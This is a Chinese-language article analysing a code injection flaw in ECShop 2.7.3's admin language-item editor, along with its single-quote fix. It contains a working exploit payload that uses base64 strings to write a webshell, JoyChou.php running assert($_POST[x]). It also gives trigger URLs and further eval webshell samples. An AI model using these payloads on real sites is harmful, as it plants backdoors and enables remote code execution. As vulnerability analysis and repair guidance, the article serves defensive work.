ECSHOP语言项库注入漏洞分析和修复
2016-09-07 22:02 来源:www.chinab4c.com 作者:ecshop专家
1.ECSHOP语言库注入漏洞利用1) 登陆到ecshop台后,选择模板管理,语言项编辑,搜索“用户信息”
为什么要搜索“用户信息”,还可以搜索其它的吗? 答案是搜索languages\\zh_cn\\user.php文件里任何一个变量都可以
2) 添加如下后门,将用户信息改为 用户信息${${fputs(fopen(base64_decode(Sm95Q2hvdS5waHA),w),base64_decode(PD9waHAKYXNzZXJ0KAokX1BPU1RbeF0KKTsKPz4))}} 即生成一个JoyChou.php文件,内容为: <?php assert( $_POST[x] ); ?>
3) 访问user.php即可产生shell(不用注册登录账户) http://localhost/ECShop_V2.7.3_UTF8_release0411/user.php 或 http://localhost/ECShop_V2.7.3_UTF8_release0411/languages/zh_cn/user.php
2.产生原因在admin\\edit_languages.php文件中第120行,修改变量内容,注意是用的双引号。 for ($i = 0; $i < count($_POST['item_id']); $i++) { /* 语言项内容如果为空,不修改 */ if (trim($_POST['item_content'][$i]) == '') { unset($src_items[$i]); } else { $_POST['item_content'][$i] = str_replace('\\\\\\\\n', '\\\\n', $_POST['item_content'][$i]); /* $_POST['item_content'][$i]是修改后增加的内容,即增加的"用户信息${${fputs(fopen"等内容 $dst_items[$i] 是 $_LANG['label_profile'] = "用户信息${${fputs(fopen"; */ $dst_items[$i] = $_POST['item_id'][$i] .' = '. '"' .$_POST['item_content'][$i]. '";'; } } 修改完后文件\\languages\\zh_cn\\user.php变量为:注意是双引号哦 $_LANG['label_profile'] = "用户信息${${fputs(fopen(base64_decode(Sm95Q2hvdS5waHA),w),base64_decode(PD9waHAKYXNzZXJ0KAokX1BPU1RbeF0KKTsKPz4))}}";
由于是双引号,所以只要在任意的php文件中引用这个变量,代码就会成功执行。 至于为什么可以执行?原理如下: 下面这三句话都可以执行,与其说代码执行,不如说参数执行。 <?php $a = "${ phpinfo()}"; // 有一个空格 $b = "{${phpinfo()}}"; // 多一对{},但是没有空格 $c = "{${fputs(fopen("JoyChou.php", "w+"), "<?php eval(\\$_POST[1]);?>")}}"; $d = "asdf{${phpinfo()}}"; // {字符前可以随意加字符串 ?> 而http://localhost/ECShop_V2.7.3_UTF8_release0411/user.php这个文件包含\\languages\\zh_cn\\user.php 这个文件,所以也可以代码执行。 /* 载入语言文件 */ require_once(ROOT_PATH . 'languages/' .$_CFG['lang']. '/user.php'); 3漏洞修复了解了漏洞原理后,修复就是一件比较简单的事情,只需将双引号改为单引号 修改\\admin\\edit_languages.php // 修复前 $dst_items[$i] = $_POST['item_id'][$i] .' = '. '"' .$_POST['item_content'][$i]. '";'; // 修复后,由于想在单引号之间出现单引号,必须使用转义。 $dst_items[$i] = $_POST['item_id'][$i] .' = '. '\\'' .$_POST['item_content'][$i]. '\\';'; 再次访问http://localhost/ECShop_V2.7.3_UTF8_release0411/user.php已经不能生成JoyChou.php,代码没能得到执行。 (责任编辑:chinab4c) |
最近更新
常用插件
- ecshop没登陆情况下订单查
ecshop没登陆情况下订单查询插件,主要是针对ecshop在没有登陆的情况下...
- ecshop2.7.2生成虚拟订单2.
以前我们开发过ecshop下的虚拟订单,就是客户在访问的时候,会自动生...
- ecshop最小购买数量控制插
ecshop最小购买数量控制插件,这个插件主要是为我们提供一个十分方便...
- ecshop2.7.1邮件发送插件
ecshop2.7.1邮件发送插件:该插件主要的开发思想是源于ecshop短信发送系统...
- ecshop二次开发商品购买增
图片1香...